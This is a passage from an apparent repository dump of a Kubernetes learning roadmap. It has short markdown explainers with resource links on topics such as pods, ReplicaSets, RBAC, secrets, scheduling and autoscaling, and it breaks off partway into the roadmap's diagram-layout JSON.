    "content": "# Pod Priorities\n\nPod priorities in Kubernetes determine the order in which pods are scheduled on nodes when there are competing demands for resources. Each pod is assigned a numeric priority value, with higher values indicating higher priority. The scheduler maximizes the total priority of scheduled pods while also considering node suitability, taints and tolerations, and affinity and anti-affinity rules. Priorities can be set manually or automatically based on business logic or application requirements. Priorities help ensure that critical workloads receive necessary resources and are scheduled first, while lower priority workloads are scheduled when resources become available.\n\nVisit the following resources to learn more:\n\n- [@official@Pod priority - Documentation](https://kubernetes.io/docs/concepts/scheduling-eviction/pod-priority-preemption/#pod-priority)\n- [@video@Kubernetes Pod Priority (Examples)](https://www.youtube.com/watch?v=sR_Zmvme3-0)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/pods@-d2PIXm0V_Iehe8cws8zK.md",
    "content": "# Pods\n\nIn Kubernetes, a pod is the smallest deployable unit that represents a single instance of a running process in a cluster. A pod can contain one or more containers that share the same network namespace and can access the same storage volumes. Pods are created and managed by Kubernetes, and they are scheduled to run on one of the nodes in the cluster. Pods provide a lightweight and flexible abstraction layer that enables Kubernetes to manage the deployment, scaling, and networking of containerized applications. Pods also facilitate the communication and data exchange between containers running in the same pod.\n\nVisit the following resources to learn more:\n\n- [@official@Pods Documentation](https://kubernetes.io/docs/concepts/workloads/pods/)\n- [@article@The Kubernetes Way: Pods and Services](https://thenewstack.io/kubernetes-way-part-one/)\n- [@article@5 Best Practices for Configuring Kubernetes Pods Running in Production](https://thenewstack.io/5-best-practices-for-configuring-kubernetes-pods-running-in-production/)\n- [@video@What is a Pod in kubernetes ? Why do you need it ?](https://www.youtube.com/watch?v=k0fzMZgpp14)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/replicasets@IF09l0-pryGpMbDt__ocr.md",
    "content": "# ReplicaSets\n\nA ReplicaSet is a controller that ensures a specified number of replicas (identical copies) of a pod are running in a cluster at all times. ReplicaSets help to ensure high availability and scalability by automatically scaling the number of pod replicas up or down in response to changes in demand or hardware failures. They are defined by a YAML file that specifies the desired number of replicas, the pod template to use, and other settings. They are responsible for monitoring the status of pods and creating or deleting replicas as necessary to meet the desired state.\n\nVisit the following resources to learn more:\n\n- [@official@ReplicaSet Documentation](https://kubernetes.io/docs/concepts/workloads/controllers/replicaset/)\n- [@article@Strategies for Running Stateful Workloads in Kubernetes: Pet Sets](https://thenewstack.io/strategies-running-stateful-applications-kubernetes-pet-sets/)\n- [@video@ReplicaSet in Kubernetes](https://www.youtube.com/watch?v=1WM-LsH6tKc)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/resource-health@pDjNsK5vI9FmKZbQm0lDP.md",
    "content": "# Resource Health\n\nResource health monitoring in Kubernetes involves monitoring the health and availability of resources such as pods, nodes, and containers. It helps administrators identify and troubleshoot issues that may affect the system's performance and availability using tools such as Kubernetes Dashboard, Prometheus, or Grafana. Resource health monitoring also helps ensure that the system is resilient to failures and can recover quickly from any disruptions. It is an important part of managing a Kubernetes cluster and ensures the reliability, availability, and scalability of the system.\n\nVisit the following resources to learn more:\n\n- [@video@Dashboards with Grafana and Prometheus](https://www.youtube.com/watch?v=fzny5uUaAeY)\n- [@video@How to Monitor a Kubernetes Cluster with Prometheus & Grafana](https://www.youtube.com/watch?v=YDtuwlNTzRc)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/resource-management@eWKkdiBhD5x2sGYajmHEs.md",
    "content": "# Monitoring and Optimizing Resource Usage\n\nMonitoring and optimizing resource usage in Kubernetes (k8s) is crucial for ensuring efficient and effective use of resources. To monitor resource usage, k8s provides a Metrics Server, and Prometheus can be integrated with k8s. The Container Runtime Interface (CRI) can also be used to monitor container-level resource usage data. To optimize resource usage, setting appropriate requests and limits, using Horizontal Pod Autoscaling (HPA), implementing pod affinity and anti-affinity rules, and controlling node selection can all help reduce resource contention and improve resource utilization. By monitoring and optimizing resource usage, k8s can ensure that applications run efficiently and resources are used effectively.\n\nVisit the following resources to learn more:\n\n- [@official@Tools for Monitoring Resources - Documentation](https://kubernetes.io/docs/tasks/debug/debug-cluster/resource-usage-monitoring/)\n- [@article@Kubernetes Resource Optimization: Just The Basics](https://sequoia.makes.software/kubernetes-resource-optimization-just-the-basics/)\n- [@article@How to Choose the Right Kubernetes Monitoring Tool ](https://thenewstack.io/how-to-choose-the-right-kubernetes-monitoring-tool/)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/role-based-access-control-rbac@jOq0WwLrq8tlmOgo64QDc.md",
    "content": "# Role Based Acccess Control\n\nRole-Based Access Control (RBAC) is a method of controlling access to Kubernetes resources based on the roles assigned to users or groups. RBAC involves creating roles and binding them to users or groups to control access to Kubernetes resources. Roles are defined as a set of rules that determine what actions can be performed on specific resources. By assigning roles to users or groups, access to Kubernetes resources can be restricted or granted based on the permissions defined in the role. RBAC helps ensure the security and integrity of Kubernetes clusters by limiting access to authorized users and groups.\n\nVisit the following resources to learn more:\n\n- [@official@Role Based Access Control Good Practices](https://kubernetes.io/docs/concepts/security/rbac-good-practices/)\n- [@article@A Primer on Kubernetes Access Control](https://thenewstack.io/a-primer-on-kubernetes-access-control/)\n- [@article@A Practical Approach to Understanding Kubernetes Authorization](https://thenewstack.io/a-practical-approach-to-understanding-kubernetes-authorization/)\n- [@article@3 Realistic Approaches to Kubernetes RBAC](https://thenewstack.io/three-realistic-approaches-to-kubernetes-rbac/)\n- [@article@Role-Based Access Control: Five Common Authorization Patterns](https://thenewstack.io/role-based-access-control-five-common-authorization-patterns/)\n- [@article@Securing Kubernetes and Other Resources at Scale Using RBAC](https://thenewstack.io/securing-kubernetes-and-other-resources-at-scale-using-rbac/)\n- [@video@Understand Role Based Access Control in Kubernetes](https://www.youtube.com/watch?v=G3R24JSlGjY)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/rolling-updates--rollbacks@yMSXdwDO36CLtp2TBC7aB.md",
    "content": "# Rolling Updates and Rollbacks\n\nRolling updates and rollbacks are methods for updating applications without downtime. A rolling update gradually replaces old versions of an application with new ones, ensuring that some instances of the application are always available. If problems arise during the update, a rollback allows you to revert to the previous, stable version of the application.\n\nVisit the following resources to learn more:\n\n- [@official@Performing a Rolling Update](https://kubernetes.io/docs/tutorials/kubernetes-basics/update/update-intro/)\n- [@article@How do you rollback deployments in Kubernetes?](https://learnkube.com/kubernetes-rollbacks)\n- [@video@Kubernetes Deployments: A Guide to the Rolling Update Deployment Strategy](https://semaphore.io/blog/kubernetes-rolling-update-deployment)\n- [@video@Kubernetes Rollbacks Tutorial](https://www.youtube.com/watch?v=9hK11Ov74U4)\n- [@video@Kubernetes Deployment strategies | Rolling Update Deployment | Argo rollout | ADAM](https://www.youtube.com/watch?v=cy3KXqgJOrE)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/running-applications@1MdrzhktCWjpmxiYYBdz7.md",
    "content": "# Running Applications\n\nRunning applications involves deploying and managing software within a Kubernetes cluster. This includes packaging the application, defining its resource requirements (like CPU and memory), specifying how it should be exposed to the outside world, and ensuring it remains healthy and available. It also covers scaling the application to handle varying workloads and updating it without downtime.\n\nVisit the following resources to learn more:\n\n- [@official@Run Applications](https://kubernetes.io/docs/tasks/run-application/)\n- [@article@Deploying an Application on Kubernetes: A Complete Guide!](https://dev.to/pavanbelagatti/deploying-an-application-on-kubernetes-a-complete-guide-1cj6)\n- [@article@How Do Applications Run on Kubernetes?](https://thenewstack.io/how-do-applications-run-on-kubernetes/)\n- [@video@Kubernetes 101: Deploying Your First Application!](https://www.youtube.com/watch?v=XltFOyGanYE)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/scheduling@xZDXM_8qb4VL15tNGG0ws.md",
    "content": "# Scheduling\n\nScheduling in Kubernetes refers to the process of assigning workloads to specific nodes in a cluster. The Kubernetes scheduler makes scheduling decisions based on factors such as resource availability, node suitability, and workload priorities. It balances workloads across the cluster to ensure efficient resource utilization and avoid overloading nodes. Scheduling takes into account factors such as geographic location, hardware requirements, and application-specific needs.\n\nVisit the following resources to learn more:\n\n- [@official@Kubernetes Scheduler](https://kubernetes.io/docs/concepts/scheduling-eviction/kube-scheduler/)\n- [@official@Scheduling Framework](https://kubernetes.io/docs/concepts/scheduling-eviction/scheduling-framework/)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/security@SG3wtV2rt9nmLEkgrp_zP.md",
    "content": "# Security Scanners\n\nKubernetes security scanners help identify vulnerabilities and potential security threats in container images before deployment. Popular options include Aqua Security, Twistlock, Sysdig Secure, Trivy, Anchore Engine, and OpenSCAP. These scanners offer a variety of features such as vulnerability scanning, compliance checks, and runtime protection for Kubernetes environments. By integrating these scanners into their pipelines, organizations can ensure the security and integrity of their Kubernetes deployments and minimize the risk of security breaches and data loss.\n\nVisit the following resources to learn more:\n\n- [@article@8+ open-source Kubernetes vulnerability scanners](https://techbeacon.com/security/8-open-source-kubernetes-vulnerability-scanners-consider)\n- [@article@7 Kubernetes Security Scanners](https://thechief.io/c/editorial/7-kubernetes-security-scanners-to-use-in-your-devsecops-pipeline/)\n- [@article@Improve Security With Automated Image Scanning Through CI/CD](https://thenewstack.io/improve-security-with-automated-image-scanning-through-ci-cd/)\n- [@article@Starboard: Putting all the Kubernetes Security Pieces into One Place](https://thenewstack.io/starboard-putting-all-the-kubernetes-security-pieces-into-one-place/)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/services-and-networking@aUJ_w2L8nxNq3DfAW97Gd.md",
    "content": "# Networking and Pod to Pod Communication\n\nNetworking is crucial for communication between pods and resources in a Kubernetes cluster. Each pod has a unique IP address and can communicate with other pods directly. Container networking interface (CNI) plugins are used to configure pod network interfaces and provide isolation between pods. Kubernetes also provides networking services such as load balancing, service discovery, and ingress, which enable external traffic to access pods and services. These services are implemented using Kubernetes objects such as Services, Ingress, and NetworkPolicies. Networking and pod-to-pod communication are essential for scalability, reliability, and flexibility in Kubernetes clusters.\n\nVisit the following resources to learn more:\n\n- [@official@Cluster Networking - Documentation](https://kubernetes.io/docs/concepts/cluster-administration/networking/)\n- [@official@Job with Pod-to-Pod Communication](https://kubernetes.io/docs/tasks/job/job-with-pod-to-pod-communication/)\n- [@article@How Kubernetes Provides Networking and Storage to Applications](https://thenewstack.io/how-kubernetes-provides-networking-and-storage-to-applications/)\n- [@feed@Explore top posts about Networking](https://app.daily.dev/tags/networking?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/setting-resource-requests-and-limits@8RLR6gRjIyTn6GCugEfgk.md",
    "content": "# Setting Resource Requests and Limits\n\nResource requests and limits in Kubernetes specify the minimum and maximum amount of CPU and memory a container requires to run. Resource requests are used for scheduling containers on nodes with sufficient resources, while limits enforce resource quotas and prevent containers from consuming too much. These settings can be configured at the pod or container level using the resources field in YAML. It's important to set resource requests and limits correctly to ensure optimal resource utilization in your Kubernetes cluster.\n\nVisit the following resources to learn more:\n\n- [@official@Requests and limits - Documentation](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/#requests-and-limits)\n- [@official@Motivation for default memory limits and requests](https://kubernetes.io/docs/tasks/administer-cluster/manage-resources/memory-default-namespace/#motivation-for-default-memory-limits-and-requests)\n- [@article@Understanding Kubernetes Resource Types](https://thenewstack.io/understanding-kubernetes-resource-types/)\n- [@article@Kubernetes Requests and Limits Demystified ](https://thenewstack.io/kubernetes-requests-and-limits-demystified/)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/setting-up-kubernetes@3OpGaQhyNtk1n1MLp-tlb.md",
    "content": "# Deploying your First Application\n\nTo deploy your first application in Kubernetes, you need to create a deployment and service manifest in YAML files, apply the manifests to your Kubernetes cluster using the kubectl apply command, verify that your application's pods are running with kubectl get pods, and test the service with kubectl get services and accessing the service using a web browser or a tool like cURL. There are also various tools and platforms available that can simplify application deployment in Kubernetes, such as Helm charts and Kubernetes operators.\n\nVisit the following resources to learn more:\n\n- [@official@Using kubectl to Create a Deployment](https://kubernetes.io/docs/tutorials/kubernetes-basics/deploy-app/deploy-intro/)\n- [@article@Deploying An Application On Kubernetes From A to Z](https://web.archive.org/web/20230326150953/https://www.weave.works/blog/deploying-an-application-on-kubernetes-from-a-to-z)\n- [@article@Kubernetes 101: Deploy Your First Application with MicroK8s](https://thenewstack.io/kubernetes-101-deploy-your-first-application-with-microk8s/)\n- [@video@Kubernetes Tutorial | Your First Kubernetes Application](https://www.youtube.com/watch?v=Vj6EFnav5Mg)\n- [@video@Kubernetes 101: Deploying Your First Application](https://www.youtube.com/watch?v=XltFOyGanYE)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/should-you-manage-your-own-cluster@ZrVhYTw63aVVIFAEJDG5r.md",
    "content": "# Own Cluster\n\nTo create your own Kubernetes cluster, you need to choose a cloud provider or set up your own infrastructure, install Kubernetes on your infrastructure, configure your cluster by setting up networking, storage, and security, deploy your applications using Kubernetes manifests, and monitor and manage your cluster using tools like Kubernetes Dashboard, kubectl, and Prometheus. This process can be complex and time-consuming, but it gives you complete control over your infrastructure and allows for customization to meet your specific needs.\n\nVisit the following resources to learn more:\n\n- [@official@Creating a cluster with kubeadm](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/)\n- [@video@KUBERNETES | Install Kubernetes Cluster](https://www.youtube.com/watch?v=Ro2qeYeisZQ)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/stateful-applications@LJUJ1NIUsajb1AUdvJjqW.md",
    "content": "# Stateful Applications\n\nIn Kubernetes, storage is a key component for stateful applications, as these applications require persistent data storage that is available across multiple replicas of the application. Kubernetes provides several options for storage, including volumes, persistent volumes, and storage classes.\n\nVolumes are the basic building blocks of storage in Kubernetes. A volume is a directory that is accessible to the container running the application, and it can be backed by different types of storage, such as a host directory, a cloud provider disk, or a network storage system. Volumes are created and managed by Kubernetes, and they can be mounted into containers as part of a pod definition.\n\nVisit the following resources to learn more:\n\n- [@official@Stateful Applications](https://kubernetes.io/docs/tutorials/stateful-application/)\n- [@video@The basics of stateful applications in Kubernetes](https://www.youtube.com/watch?v=GieXzb91I40)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/statefulsets@AJiRBEaKU8qYEm0fqN389.md",
    "content": "# StatefulSets\n\nIt is a controller that manages the deployment and scaling of a set of stateful pods that require stable network identities and stable storage volumes. StatefulSets are used to run stateful applications such as databases, where the order and uniqueness of each pod is important. StatefulSets provide unique stable network identities and stable storage volumes for each pod, which allows stateful applications to maintain data consistency even when they are scaled up or down, or when nodes fail or are replaced. StatefulSets are defined by a YAML file that includes a pod template, a service to access the pods, and other settings.\n\nVisit the following resources to learn more:\n\n- [@official@StatefulSets Documentation](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/)\n- [@article@Different Approaches for Building Stateful Kubernetes Applications](https://thenewstack.io/different-approaches-for-building-stateful-kubernetes-applications/)\n- [@video@Kubernetes StatefulSet | Tutorial](https://www.youtube.com/watch?v=pPQKAR1pA9U)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/storage-and-volumes@URnYf9jMprFz-o26fbU2P.md",
    "content": "# CSI drivers\n\nCSI (Container Storage Interface) drivers in Kubernetes provide a standard way for storage providers to integrate with Kubernetes and offer persistent storage for containerized applications. They operate as separate containerized processes and communicate with Kubernetes through a well-defined API. CSI drivers allow Kubernetes to access a wide range of storage systems and provide advanced features like snapshotting and cloning.\n\nVisit the following resources to learn more:\n\n- [@official@Container Storage Interface (CSI) for Kubernetes](https://kubernetes.io/blog/2019/01/15/container-storage-interface-ga/)\n- [@video@CSI in Kubernetes](https://www.youtube.com/watch?v=brXPQ1Qwjl4)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/taints-and-tolerations@zXUsHAI1HFhcY2BFAcypv.md",
    "content": "# Taints and Tolerations\n\nTaints and tolerations are used in Kubernetes to restrict or allow pods to be scheduled on certain nodes based on labels. A taint is a label that is applied to a node to indicate certain limitations or requirements. A toleration is a label applied to a pod to indicate that it can tolerate certain taints. When a node has a taint, only pods with the corresponding tolerations can be scheduled on that node. This feature is useful for various purposes, such as ensuring separation of critical and non-critical workloads, reserving nodes for certain tasks, and protecting nodes from overloading.\n\nVisit the following resources to learn more:\n\n- [@official@Taints and Tolerations](https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/)\n- [@video@Kubernetes For Beginners: Taints & Tolerations](https://www.youtube.com/watch?v=mo2UrkjA7FE)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/topology-spread-constraints@CL0hKTcml40InmyVUXpY2.md",
    "content": "# Topology Spread Constraints\n\nTopology spread constraints ensure even distribution of pods across a cluster's topology. Constraints define rules for the number of pods of a certain type that can run on a given level, such as nodes, zones, or racks. These constraints can be customized to fit specific needs, such as ensuring that critical workloads are spread across multiple zones. They help prevent single points of failure and improve application resilience by preventing resource overloading and promoting balanced distribution of workloads. Constraints can be added using the Kubernetes API or command line interface.\n\nVisit the following resources to learn more:\n\n- [@official@Topology Spread Constraints](https://kubernetes.io/docs/concepts/scheduling-eviction/topology-spread-constraints/)\n- [@video@Kubernetes | Topology Spread Constraints](https://www.youtube.com/watch?v=joRrWJ6bwvE)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/traces@ldYTEPt_hI4PXxr3tgJi5.md",
    "content": "# Traces\n\nTracing in Kubernetes involves monitoring the flow of requests through different components of the system, using tools such as Jaeger or Zipkin. OpenTracing and OpenCensus provide a consistent way of capturing traces across different components and applications running on the cluster. Tracing helps identify performance bottlenecks, debug issues, and optimize the system for better performance and scalability. By monitoring traces in Kubernetes, administrators can identify issues and take corrective actions to ensure efficient system performance.\n\nVisit the following resources to learn more:\n\n- [@official@Traces For Kubernetes System Components](https://kubernetes.io/docs/concepts/cluster-administration/system-traces/)\n- [@video@Introduction to Tracing](https://www.youtube.com/watch?v=idDu_jXqf4E)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/using-secrets-for-sensitive-data@S0CwGC2gMG-SqnLNldqBD.md",
    "content": "# Secrets\n\nKubernetes secrets store sensitive data such as passwords, tokens, and API keys in a secure manner. They can be created manually or automatically, and stored in etcd. Secrets can be mounted as files or environment variables in a pod, and access can be managed using Kubernetes RBAC. However, they have some limitations, such as size and the inability to be updated once created. Understanding secrets is important for building secure applications in Kubernetes.\n\nVisit the following resources to learn more:\n\n- [@official@Documentation - Secrets](https://kubernetes.io/docs/concepts/configuration/secret/)\n- [@article@Kubernetes Secrets Management: 3 Approaches, 9 Best Practices](https://thenewstack.io/kubernetes-secrets-management-3-approaches-9-best-practices/)\n- [@video@Kubernetes Secrets in 5 Minutes!](https://www.youtube.com/watch?v=cQAEK9PBY8U)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/vertical-pod-autoscaler-vpa@c1KVczGRjh9bhMpbPP6sA.md",
    "content": "# Vertical Pod Autoscaler\n\nVertical Pod Autoscaler (VPA) is a Kubernetes feature that automates the process of adjusting resource limits for containers in pods. Unlike Horizontal Pod Autoscaler (HPA), which scales the number of replicas of a pod, VPA scales the resources allocated to a pod's containers. It adjusts the resource requests and limits for each container based on its actual usage.\n\nVisit the following resources to learn more:\n\n- [@article@What is Kubernetes VPA?](https://www.kubecost.com/kubernetes-autoscaling/kubernetes-vpa/)\n- [@video@Vertical Pod Autoscaling: Example](https://www.youtube.com/watch?v=3h-vDDTZrm8)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/why-use-kubernetes@q-Ky0ietZGpyUcBQfh-BJ.md",
    "content": "# Why Kubernetes\n\nKubernetes (k8s) is needed because it provides a powerful and flexible platform for deploying and managing containerized applications at scale. It allows for easy scalability, high resilience, application portability, automation of many tasks, and standardization of the container platform. k8s also helps reduce complexity and workload for operations teams, enabling them to focus on more strategic initiatives.\n\nVisit the following resources to learn more:\n\n- [@official@Why you need Kubernetes and what it can do](https://kubernetes.io/docs/concepts/overview/#why-you-need-kubernetes-and-what-can-it-do)\n- [@article@Primer: How Kubernetes Came to Be, What It Is, and Why You Should Care](https://thenewstack.io/primer-how-kubernetes-came-to-be-what-it-is-and-why-you-should-care/)\n- [@feed@Explore top posts about Kubernetes](https://app.daily.dev/tags/kubernetes?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/kubernetes/kubernetes.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"width\": 21,\n      \"height\": 74,\n      \"id\": \"ef-jFKMs8jw3Ti94jem96\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -206.97152060532687,\n        \"y\": 2002.6547713337786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -206.97152060532687,\n        \"y\": 2002.6547713337786\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 74\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 74\n      }\n    },\n    {\n      \"id\": \"k_AR2YBSv077a6RwpCpZT\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -205.1381872719935,\n        \"y\": 1819.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.55,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 103\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -205.1381872719935,\n        \"y\": 1819.400748222349\n      }\n    },\n    {\n      \"id\": \"p9_mj6m2RpT7Uqa1I1YjI\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -206.47152060532687,\n        \"y\": 1696.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.55,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"k_AR2YBSv077a6RwpCpZT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 103\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -206.47152060532687,\n        \"y\": 1696.400748222349\n      }\n    },\n    {\n      \"id\": \"FtrR19NFsdQoYcZzWtj5k\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -589.6381872719935,\n        \"y\": 1408.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"nnN56cWEfaCaQNN_dD6tE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 89\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -589.6381872719935,\n        \"y\": 1408.400748222349\n      }\n    },\n    {\n      \"id\": \"nnN56cWEfaCaQNN_dD6tE\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -434.1381872719935,\n        \"y\": 1169.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 641\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -434.1381872719935,\n        \"y\": 1169.400748222349\n      }\n    },\n    {\n      \"id\": \"Ta1gWy3SFfNu_oM2FplxU\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -589.6381872719935,\n        \"y\": 1164.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"FtrR19NFsdQoYcZzWtj5k\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 89\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -589.6381872719935,\n        \"y\": 1164.400748222349\n      }\n    },\n    {\n      \"id\": \"3r36j_pf19jd_cr4oFE5m\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -589.6381872719935,\n        \"y\": 840.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 99\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -589.6381872719935,\n        \"y\": 840.900748222349\n      }\n    },\n    {\n      \"id\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -288.1381872719935,\n        \"y\": -43.599251777651034\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Kubernetes\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 187,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -288.1381872719935,\n        \"y\": -43.599251777651034\n      }\n    },\n    {\n      \"id\": \"uqyE79OItPOX33E5FoGel\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -205.1381872719935,\n        \"y\": -134.0992517776511\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 81\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -205.1381872719935,\n        \"y\": -134.0992517776511\n      }\n    },\n    {\n      \"id\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -315.1381872719935,\n        \"y\": 119.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -315.1381872719935,\n        \"y\": 119.40074822234897\n      }\n    },\n    {\n      \"id\": \"qLeEEwBvlGt1fP5Qcreah\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.8618127280065,\n        \"y\": 50.40074822234891\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Overview of Kubernetes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3fzuXKH7az_LVnmnoXB1p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 